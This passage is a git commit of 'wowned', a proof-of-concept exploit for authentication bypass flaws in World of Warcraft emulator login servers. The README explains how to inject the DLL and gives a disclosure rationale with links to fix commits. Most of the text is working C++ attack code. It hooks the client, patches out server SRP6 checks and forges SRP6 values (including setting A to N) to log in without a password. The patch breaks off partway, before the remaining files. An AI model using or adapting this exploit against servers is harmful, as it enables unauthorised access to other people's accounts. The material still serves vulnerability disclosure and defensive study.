From 401ff9b4546c0eab266e3769c94cb3b9c1705f2f Mon Sep 17 00:00:00 2001 From: namreeb Date: Fri, 25 Nov 2016 18:14:49 -1000 Subject: [PATCH] Initial commit --- .gitignore | 10 + LICENSE | 21 ++ README.md | 41 ++++ auth_bypass/CDataStore.cpp | 41 ++++ auth_bypass/CDataStore.hpp | 56 ++++++ auth_bypass/SRP6a.cpp | 244 ++++++++++++++++++++++++ auth_bypass/SRP6a.hpp | 60 ++++++ auth_bypass/auth_bypass.vcxproj | 88 +++++++++ auth_bypass/auth_bypass.vcxproj.filters | 47 +++++ auth_bypass/main.cpp | 130 +++++++++++++ auth_bypass/method.cpp | 232 ++++++++++++++++++++++ auth_bypass/method.hpp | 101 ++++++++++ auth_bypass/misc.cpp | 143 ++++++++++++++ auth_bypass/misc.hpp | 132 +++++++++++++ auth_bypass/socket.hpp | 212 ++++++++++++++++++++ wowned.sln | 28 +++ wowned/main.cpp | 118 ++++++++++++ wowned/wowned.vcxproj | 77 ++++++++ wowned/wowned.vcxproj.filters | 14 ++ 19 files changed, 1795 insertions(+) create mode 100644 .gitignore create mode 100644 LICENSE create mode 100644 README.md create mode 100644 auth_bypass/CDataStore.cpp create mode 100644 auth_bypass/CDataStore.hpp create mode 100644 auth_bypass/SRP6a.cpp create mode 100644 auth_bypass/SRP6a.hpp create mode 100644 auth_bypass/auth_bypass.vcxproj create mode 100644 auth_bypass/auth_bypass.vcxproj.filters create mode 100644 auth_bypass/main.cpp create mode 100644 auth_bypass/method.cpp create mode 100644 auth_bypass/method.hpp create mode 100644 auth_bypass/misc.cpp create mode 100644 auth_bypass/misc.hpp create mode 100644 auth_bypass/socket.hpp create mode 100644 wowned.sln create mode 100644 wowned/main.cpp create mode 100644 wowned/wowned.vcxproj create mode 100644 wowned/wowned.vcxproj.filters diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..24e7bc7 --- /dev/null +++ b/.gitignore @@ -0,0 +1,10 @@ +/.vs +/Debug +/Release +/auth_bypass/Debug +/auth_bypass/*.user +/*.opendb +/*.db +/wowned/Debug +/wowned/Release +/wowned/*.user diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..9d9757a --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2017, namreeb (legal@namreeb.org) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..95cfa07 --- /dev/null +++ b/README.md @@ -0,0 +1,41 @@ +# wowned +This application is a proof of concept exploit for the authentication bypass methods in many World of Warcraft emulation +authentication servers discovered by Chaosvex (https://github.com/Chaosvex) and Daemon (https://github.com/DevDaemon). + +To use, `auth_bypass.dll` must be injected into wow.exe (versions 1.12.1, 2.4.3 and 3.3.5a are supported). An injector `wowned.exe` +is included. + +An example usage would be: + +`wowned.exe -c -p "f:\wow 3.3.5\WoW.exe" --2` + +wowned.exe --help output: + +``` +wowned v0.1 injector +Allowed options: + -h [ --help ] display help message + -c [ --console ] enable wow console + -p [ --program ] arg (=wow.exe) path to wow binary + --1 exploit method one + --2 exploit method two + ``` + +# ethics +The bugs which this application will exploit have been publicly disclosed since early November 2016 (see here: +https://www.reddit.com/r/wowservers/comments/5b0chc/attention_server_developers_and_administrators/). Some private servers have +opted to ignore the warning. It is a common practice among security researched to release a proof of concept exploit after +vendors and users have had ample opportunity to apply a patch. Doing so can encourage the remaining vendors or users to follow suit. + +For reference, these are two commits which fix 'method one' and 'method two' respectively: + +https://github.com/cmangos/mangos-classic/commit/74d51cf70d67f6d4a47321a4226e7473cb8e2601 +https://github.com/cmangos/mangos-classic/commit/0d2b7e38c886ddd6828cfa75e2daba5121467383 + +# credit +As mentioned above, credit for the initial discovery goes to Chaosvex. Credit for the discovery of method two goes to +Daemon of nostalrius.org, who found the second issue when he and I were discussing the first one. + +# impact +Some of the private servers that I have tested this on are still vulnerable. If you are a private server administrator and for +whatever reason are unable to adapt the above-linked commits to your code, please feel free to contact me. \ No newline at end of file diff --git a/auth_bypass/CDataStore.cpp b/auth_bypass/CDataStore.cpp new file mode 100644 index 0000000..c854bc3 --- /dev/null +++ b/auth_bypass/CDataStore.cpp @@ -0,0 +1,41 @@ +/* + MIT License + + Copyright (c) 2017, namreeb (legal@namreeb.org) + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + */ + +#include "CDataStore.hpp" +#include "misc.hpp" + +#include + +#include + +#include +#include + +void CDataStore::Write(const void *data, unsigned int length) +{ + assert(m_bytesWritten + length <= m_capacity); + + memcpy(static_cast(m_data) + m_bytesWritten, data, length); + m_bytesWritten += length; +} \ No newline at end of file diff --git a/auth_bypass/CDataStore.hpp b/auth_bypass/CDataStore.hpp new file mode 100644 index 0000000..e1d6343 --- /dev/null +++ b/auth_bypass/CDataStore.hpp @@ -0,0 +1,56 @@ +/* + MIT License + + Copyright (c) 2017, namreeb (legal@namreeb.org) + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + */ + +#pragma once + +#include + +class CDataStore +{ + private: + const void * _vmt; // 0x00-0x04 + + public: + void * m_data; // 0x04-0x08 + const unsigned int m_base; // 0x08-0x0C + const unsigned int m_capacity; // 0x0C-0x10 + unsigned int m_bytesWritten; // 0x10-0x14 + unsigned int m_bytesRead; // 0x14-0x18 + + CDataStore(size_t size) : _vmt(nullptr), m_data(malloc(size)), m_base(0), m_capacity(size), m_bytesWritten(0), m_bytesRead(0) {} + + ~CDataStore() + { + free(m_data); + } + + template void Write(T); + void Write(const void *, unsigned int); +}; + +template +void CDataStore::Write(T val) +{ + Write(&val, sizeof(T)); +} \ No newline at end of file diff --git a/auth_bypass/SRP6a.cpp b/auth_bypass/SRP6a.cpp new file mode 100644 index 0000000..ff7b387 --- /dev/null +++ b/auth_bypass/SRP6a.cpp @@ -0,0 +1,244 @@ +/* + MIT License + + Copyright (c) 2017, namreeb (legal@namreeb.org) + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + */ + +#include "SRP6a.hpp" + +#include +#include + +#include +#include +#include + +#pragma comment(lib, "libcrypto.lib") + +using PBN_CTX = std::unique_ptr; + +namespace +{ +void ConvertBN(const BIGNUM* bn, std::vector& out) +{ + out.resize(BN_num_bytes(bn)); + + if (!out.empty()) + { + auto const len = ::BN_bn2bin(bn, &out[0]); + assert(len == out.size()); + + // im not sure why this needs to be reversed, but it does + std::reverse(out.begin(), out.end()); + } +} + +void ConvertBN(const crypto::SRP6a::PBIGNUM& bn, std::vector& out) +{ + ConvertBN(bn.get(), out); +} + +void SHA1_BN_Update(SHA_CTX* ctx, const BIGNUM* bn) +{ + std::vector bytes; + ConvertBN(bn, bytes); + + if (!bytes.empty()) + ::SHA1_Update(ctx, &bytes[0], bytes.size()); +} + +void SHA1_BN_Update(SHA_CTX* ctx, const crypto::SRP6a::PBIGNUM& bn) +{ + SHA1_BN_Update(ctx, bn.get()); +} + +void HashBN(const BIGNUM* bn, std::uint8_t* hash) +{ + assert(bn); + assert(hash); + + SHA_CTX ctx; + SHA1_Init(&ctx); + SHA1_BN_Update(&ctx, bn); + SHA1_Final(hash, &ctx); +} + +void HashBN(const crypto::SRP6a::PBIGNUM& bn, std::uint8_t* hash) +{ + HashBN(bn.get(), hash); +} + +void HashString(const std::string& str, std::uint8_t* hash) +{ + assert(hash); + SHA_CTX ctx; + SHA1_Init(&ctx); + SHA1_Update(&ctx, str.c_str(), str.length()); + SHA1_Final(hash, &ctx); +} + +// std::unique_ptr openssl trampolines +BIGNUM* BN_bin2bn(const std::uint8_t* s, int len, const crypto::SRP6a::PBIGNUM& ret) +{ + return ::BN_bin2bn(s, len, ret.get()); +} +int BN_bn2bin(const crypto::SRP6a::PBIGNUM& a, std::uint8_t* to) +{ + return ::BN_bn2bin(a.get(), to); +} +int BN_rand(const crypto::SRP6a::PBIGNUM& rnd, int bits, int top, int bottom) +{ + return ::BN_rand(rnd.get(), bits, top, bottom); +} +int BN_mod_exp(const crypto::SRP6a::PBIGNUM& r, const crypto::SRP6a::PBIGNUM& a, const crypto::SRP6a::PBIGNUM& p, + const crypto::SRP6a::PBIGNUM& m, PBN_CTX& ctx) +{ + return ::BN_mod_exp(r.get(), a.get(), p.get(), m.get(), ctx.get()); +} +int BN_set_word(const crypto::SRP6a::PBIGNUM& a, BN_ULONG w) +{ + return ::BN_set_word(a.get(), w); +} +int BN_mul(const crypto::SRP6a::PBIGNUM& r, const crypto::SRP6a::PBIGNUM& a, const crypto::SRP6a::PBIGNUM& b, PBN_CTX& ctx) +{ + return ::BN_mul(r.get(), a.get(), b.get(), ctx.get()); +} +int BN_add(const crypto::SRP6a::PBIGNUM& r, const crypto::SRP6a::PBIGNUM& a, const crypto::SRP6a::PBIGNUM& b) +{ + return ::BN_add(r.get(), a.get(), b.get()); +} +int BN_sub(const crypto::SRP6a::PBIGNUM& r, const crypto::SRP6a::PBIGNUM& a, const crypto::SRP6a::PBIGNUM& b) +{ + return ::BN_sub(r.get(), a.get(), b.get()); +} +} + +#define BN_EMPTY(x) const PBIGNUM x(BN_new(), ::BN_free) +#define BN(x, y) const PBIGNUM x(y, ::BN_free) + +namespace crypto +{ +SRP6a::SRP6a(const std::vector &gBuff, + const std::vector &NBuff, bool forgeA, + const std::vector &sBuff, + const std::vector &BBuff) + : salt(sBuff), A(BN_new(), ::BN_free), g(BN_new(), ::BN_free), N(BN_new(), ::BN_free), B(BN_new(), ::BN_free) +{ + PBN_CTX ctx(BN_CTX_new(), ::BN_CTX_free); + + if (!gBuff.empty()) + BN_bin2bn(&gBuff[0], gBuff.size(), g); + + if (!NBuff.empty()) + BN_bin2bn(&NBuff[0], NBuff.size(), N); + + if (!BBuff.empty()) + BN_bin2bn(&BBuff[0], BBuff.size(), B); + + std::vector t(32); + + if (forgeA) + BN_bin2bn(&NBuff[0], NBuff.size(), A); + else + { + BN_EMPTY(a); + BN_rand(a, 19 * 8, 1, 1); + + BN_mod_exp(A, g, a, N, ctx); + t[31] = 1; + } + + std::vector t1(t.size() / 2); + { + for (size_t i = 0; i < t1.size(); ++i) + t1[i] = t[i * 2]; + + SHA_CTX tCtx; + SHA1_Init(&tCtx); + + SHA1_Update(&tCtx, &t1[0], t1.size()); + + unsigned char t1Hash[SHA_DIGEST_LENGTH]; + SHA1_Final(t1Hash, &tCtx); + + for (auto i = 0; i < SHA_DIGEST_LENGTH; ++i) + m_K[i * 2] = t1Hash[i]; + } + { + for (size_t i = 0; i < t1.size(); ++i) + t1[i] = t[i * 2 + 1]; + + SHA_CTX tCtx; + SHA1_Init(&tCtx); + + SHA1_Update(&tCtx, &t1[0], t1.size()); + + unsigned char t1Hash[SHA_DIGEST_LENGTH]; + SHA1_Final(t1Hash, &tCtx); + + for (auto i = 0; i < SHA_DIGEST_LENGTH; ++i) + m_K[i * 2 + 1] = t1Hash[i]; + } +} + +void SRP6a::GetA(std::vector& out) const +{ + ConvertBN(A, out); +} + +void SRP6a::GetK(std::vector& out) const +{ + out.resize(sizeof(m_K)); + memcpy(&out[0], m_K, out.size()); + std::reverse(out.begin(), out.end()); +} + +void SRP6a::GetM(const std::string& username, std::vector& out) const +{ + unsigned char nHash[SHA_DIGEST_LENGTH]; + HashBN(N, nHash); + + unsigned char gHash[SHA_DIGEST_LENGTH]; + HashBN(g, gHash); + + unsigned char usernameHash[SHA_DIGEST_LENGTH]; + HashString(username, usernameHash); + + for (int i = 0; i < SHA_DIGEST_LENGTH; ++i) + nHash[i] ^= gHash[i]; + + { + SHA_CTX mCtx; + SHA1_Init(&mCtx); + + SHA1_Update(&mCtx, nHash, SHA_DIGEST_LENGTH); + SHA1_Update(&mCtx, usernameHash, SHA_DIGEST_LENGTH); + if (!salt.empty()) + SHA1_Update(&mCtx, &salt[0], salt.size()); + SHA1_BN_Update(&mCtx, A); + SHA1_BN_Update(&mCtx, B); + SHA1_Update(&mCtx, m_K, sizeof(m_K)); + + out.resize(SHA_DIGEST_LENGTH); + SHA1_Final(&out[0], &mCtx); + } +} +} \ No newline at end of file diff --git a/auth_bypass/SRP6a.hpp b/auth_bypass/SRP6a.hpp new file mode 100644 index 0000000..ab3a867 --- /dev/null +++ b/auth_bypass/SRP6a.hpp @@ -0,0 +1,60 @@ +/* + MIT License + + Copyright (c) 2017, namreeb (legal@namreeb.org) + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + */ + +#pragma once + +#include + +#include +#include +#include +#include + +namespace crypto +{ +class SRP6a +{ + public: + using PBIGNUM = std::unique_ptr; + + private: + std::vector salt; + PBIGNUM A; + PBIGNUM g; + PBIGNUM N; + PBIGNUM B; + + std::uint8_t m_K[40]; + + public: + SRP6a(const std::vector &g, + const std::vector &N, bool forgeA, + const std::vector &s, + const std::vector &B); + + void GetA(std::vector &out) const; + void GetK(std::vector &out) const; + void GetM(const std::string &username, std::vector &out) const; +}; +} diff --git a/auth_bypass/auth_bypass.vcxproj b/auth_bypass/auth_bypass.vcxproj new file mode 100644 index 0000000..43bb9e1 --- /dev/null +++ b/auth_bypass/auth_bypass.vcxproj @@ -0,0 +1,88 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {61917A75-1085-49E4-810D-2E0DC9882F62} + auth_bypass + 10.0.14393.0 + + + + DynamicLibrary + true + Unicode + v141 + + + DynamicLibrary + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + Level3 + Disabled + true + _SCL_SECURE_NO_WARNINGS;_CRT_SECURE_NO_WARNINGS;_WINDLL;%(PreprocessorDefinitions) + + + udis86.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + Level3 + MaxSpeed + true + true + true + _SCL_SECURE_NO_WARNINGS;_CRT_SECURE_NO_WARNINGS;_WINDLL;%(PreprocessorDefinitions) + + + true + true + udis86.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/auth_bypass/auth_bypass.vcxproj.filters b/auth_bypass/auth_bypass.vcxproj.filters new file mode 100644 index 0000000..481c1c5 --- /dev/null +++ b/auth_bypass/auth_bypass.vcxproj.filters @@ -0,0 +1,47 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/auth_bypass/main.cpp b/auth_bypass/main.cpp new file mode 100644 index 0000000..7c69624 --- /dev/null +++ b/auth_bypass/main.cpp @@ -0,0 +1,130 @@ +/* + MIT License + + Copyright (c) 2017, namreeb (legal@namreeb.org) + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + */ + +#include "method.hpp" +#include "misc.hpp" + +#include + +#include +#include +#include + +#pragma comment(lib, "version.lib") + +#define THROW_IF(expr, message) if (expr) { throw std::exception(message); } + +static constexpr unsigned int Build[] = { 5875, 8606, 12340 }; + + +namespace +{ +unsigned int GetBuild() +{ + wchar_t filename[255]; + DWORD size = sizeof(filename) / sizeof(filename[0]); + + THROW_IF(!QueryFullProcessImageName(::GetCurrentProcess(), 0, reinterpret_cast(&filename), &size), "QueryFullProcessImageName failed"); + + size = ::GetFileVersionInfoSize(filename, nullptr); + + THROW_IF(!size, "Bad VersionInfo size"); + + std::vector versionInfo(size); + + THROW_IF(!::GetFileVersionInfo(filename, 0, size, &versionInfo[0]), "GetFileVersionInfo failed"); + + VS_FIXEDFILEINFO *verInfo; + UINT length; + + THROW_IF(!::VerQueryValue(&versionInfo[0], L"\\", reinterpret_cast(&verInfo), &length), "VerQueryValue failed"); + THROW_IF(verInfo->dwSignature != 0xFEEF04BD, "Incorrect version signature"); + + return static_cast(verInfo->dwFileVersionLS & 0xFFFF); +} +} + +using VER = misc::Version; + +extern "C" __declspec(dllexport) void Load1() +{ + const misc::Offsets *currentVersion = nullptr; + + try + { + switch (GetBuild()) + { + case Build[VER::Classic]: + currentVersion = &misc::Versions[VER::Classic]; + break; + case Build[VER::TBC]: + currentVersion = &misc::Versions[VER::TBC]; + break; + case Build[VER::WOTLK]: + currentVersion = &misc::Versions[VER::WOTLK]; + break; + default: + throw std::exception("Unsupported version"); + } + } + catch (std::exception const &e) + { + MessageBoxA(nullptr, e.what(), "Load1 ERROR", 0); + } + + *const_cast(&misc::Offsets::Current) = currentVersion; + method::gMethod = std::make_unique(); +} + +extern "C" __declspec(dllexport) void Load2() +{ + const misc::Offsets *currentVersion = nullptr; + auto isClassic = false; + + try + { + switch (GetBuild()) + { + case Build[VER::Classic]: + currentVersion = &misc::Versions[VER::Classic]; + isClassic = true; + break; + case Build[VER::TBC]: + currentVersion = &misc::Versions[VER::TBC]; + break; + case Build[VER::WOTLK]: + currentVersion = &misc::Versions[VER::WOTLK]; + break; + default: + throw std::exception("Unsupported version"); + } + } + catch (std::exception const &e) + { + MessageBoxA(nullptr, e.what(), "Load2 ERROR", 0); + } + + *const_cast(&misc::Offsets::Current) = currentVersion; + method::gMethod = std::make_unique(); +} \ No newline at end of file diff --git a/auth_bypass/method.cpp b/auth_bypass/method.cpp new file mode 100644 index 0000000..520a722 --- /dev/null +++ b/auth_bypass/method.cpp @@ -0,0 +1,232 @@ +/* + MIT License + + Copyright (c) 2017, namreeb (legal@namreeb.org) + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + */ + +#include "method.hpp" +#include "misc.hpp" +#include "CDataStore.hpp" +#include "SRP6a.hpp" + +#include + +#include +#include + +#include +#include +#include + +namespace +{ +void AmmendRealmPacket(void *data, std::string &un) +{ + auto const cmd = reinterpret_cast(data); + + // if this is not the initial logon packet, do nothing + if (*cmd) + return; + + // for method one, rewrite CMD_AUTH_LOGON_CHALLENGE to CMD_AUTH_RECONNECT_CHALLENGE + if (method::gMethod->IsOne()) + *cmd = 2u; + + auto const usernameLength = *(reinterpret_cast(data) + 33); + std::vector username(usernameLength); + memcpy(&username[0], reinterpret_cast(data) + 34, username.size()); + + un = std::string(&username[0], username.size()); +} + +struct GruntClientLink +{ +void SetState(unsigned int state) +{ + auto const p = reinterpret_cast(reinterpret_cast(this) + misc::Offsets::Current->GruntClientLinkState); + *p = state; +} + +void SetSessionKey(const std::vector &key) +{ + auto const p = reinterpret_cast(this) + misc::Offsets::Current->GruntClientSessionKey; + memcpy(p, &key[0], key.size()); +} + +method::Interface::WowConnection *GetConnection() +{ + return *reinterpret_cast(reinterpret_cast(this) + misc::Offsets::Current->GruntClientLinkConnection); +} + +int ReconnectChallenge(CDataStore *packet) +{ + SetState(4); + + std::vector gBuff, NBuff; + misc::GetgN(method::gMethod->GetUsername(), gBuff, NBuff); + + std::vector zero; + const crypto::SRP6a srp6(gBuff, NBuff, false, zero, zero); + + std::vector ABuff; + srp6.GetA(ABuff); + + std::vector KBuff; + srp6.GetK(KBuff); + SetSessionKey(KBuff); + + std::vector MBuff; + srp6.GetM(method::gMethod->GetUsername(), MBuff); + + CDataStore newPacket(75); + + newPacket.Write(1); + newPacket.Write(&ABuff[0], ABuff.size()); + newPacket.Write(&MBuff[0], MBuff.size()); + + // crc hash is ignored + for (auto i = 0; i < 5; ++i) + newPacket.Write(0); + + for (auto i = newPacket.m_bytesWritten; i < newPacket.m_capacity; ++i) + newPacket.Write(0); + + Send(&newPacket); + + packet->m_bytesRead = packet->m_bytesWritten; + + return 2; +} + +void Send(CDataStore *packet) +{ + auto const sendPacket = hadesmem::detail::AliasCastUnchecked(misc::Offsets::Current->WowConnection__SendRaw); + auto const p = GetConnection(); + (p->*sendPacket)(packet->m_data, packet->m_bytesWritten, true); +} +}; + +// instead of doing all of the SRP6 work, we take a shortcut. this function must set values for A, K and M +void UpdateSRP(const std::string &username, std::uint8_t *srp6Client, const std::vector &g, + const std::vector &N, const std::vector &s, const std::vector &B) +{ + const crypto::SRP6a srp6(g, N, true, s, B); + + auto const sessionA = srp6Client + misc::Offsets::Current->SRP6A; + std::vector A; + srp6.GetA(A); + memcpy(sessionA, &A[0], A.size()); + + auto const sessionKey = srp6Client + misc::Offsets::Current->SRP6SessionKey; + std::vector K; + srp6.GetK(K); + std::reverse(K.begin(), K.end()); + memcpy(sessionKey, &K[0], K.size()); + + auto const sessionM = srp6Client + misc::Offsets::Current->SRP6M; + std::vector M; + srp6.GetM(username, M); + memcpy(sessionM, &M[0], M.size()); +} +} + +namespace method +{ +std::unique_ptr gMethod; + +Interface::Interface() +{ + const hadesmem::Process process(::GetCurrentProcessId()); + + m_realmSendHook = std::make_unique>(process, + hadesmem::detail::AliasCastUnchecked(misc::Offsets::Current->WowConnection__SendRaw), + [&username = m_username] (hadesmem::PatchDetourBase *detourBase, WowConnection *realm, void *data, int len, bool disableEncryption) + { + AmmendRealmPacket(data, username); + auto const orig = detourBase->GetTrampolineT(); + return (realm->*orig)(data, len, disableEncryption); + } + ); + + m_realmSendHook->Apply(); + + std::vector nopPatch(2, 0x90); + m_ignoreSRP6Patch = std::make_unique(process, reinterpret_cast(misc::Offsets::Current->IgnoreServerSRP6), nopPatch); + m_ignoreSRP6Patch->Apply(); +} + +One::One() +{ + const hadesmem::Process process(::GetCurrentProcessId()); + + // we want to be flexible in terms of when this code can be called. therefore, we use hadesmme::PatchRaw rather than + // editing memory ourselves, so as to bypass any page protection that may be present + + auto const reconnectChallenge = hadesmem::detail::AliasCast(&GruntClientLink::ReconnectChallenge); + std::vector reconnectPatch(4); + memcpy(&reconnectPatch[0], &reconnectChallenge, sizeof(reconnectChallenge)); + + m_reconnectChallengePatch = std::make_unique(process, reinterpret_cast(misc::Offsets::Current->ReconnectChallengeHandler), reconnectPatch); + m_reconnectChallengePatch->Apply(); + + std::vector nopPatch(5, 0x90); + + m_gruntClientLinkPatch = std::make_unique(process, reinterpret_cast(misc::Offsets::Current->GruntClientLinkInit), nopPatch); + m_gruntClientLinkPatch->Apply(); +} + +Two::Two() +{ + const hadesmem::Process process(::GetCurrentProcessId()); + + m_calculateProofHook = std::make_unique>(process, + hadesmem::detail::AliasCastUnchecked(misc::Offsets::Current->SRP6CalculateProof), + [&username = m_username](hadesmem::PatchDetourBase *detourBase, SRP6_Client *srp6, + const std::uint8_t *N, unsigned int NLength, + const std::uint8_t *g, unsigned int gLength, + const std::uint8_t *s, unsigned int sLength, + const std::uint8_t *B, unsigned int BLength, + void *srpRandom) + { + std::vector gBuff(gLength); + memcpy(&gBuff[0], g, gBuff.size()); + std::reverse(gBuff.begin(), gBuff.end()); + + std::vector NBuff(NLength); + memcpy(&NBuff[0], N, NBuff.size()); + std::reverse(NBuff.begin(), NBuff.end()); + + std::vector sBuff(sLength); + memcpy(&sBuff[0], s, sBuff.size()); + + std::vector BBuff(BLength); + memcpy(&BBuff[0], B, BBuff.size()); + std::reverse(BBuff.begin(), BBuff.end()); + + UpdateSRP(username, reinterpret_cast(srp6), gBuff, NBuff, sBuff, BBuff); + + return 0; + } + ); + + m_calculateProofHook->Apply(); +} +} \ No newline at end of file diff --git 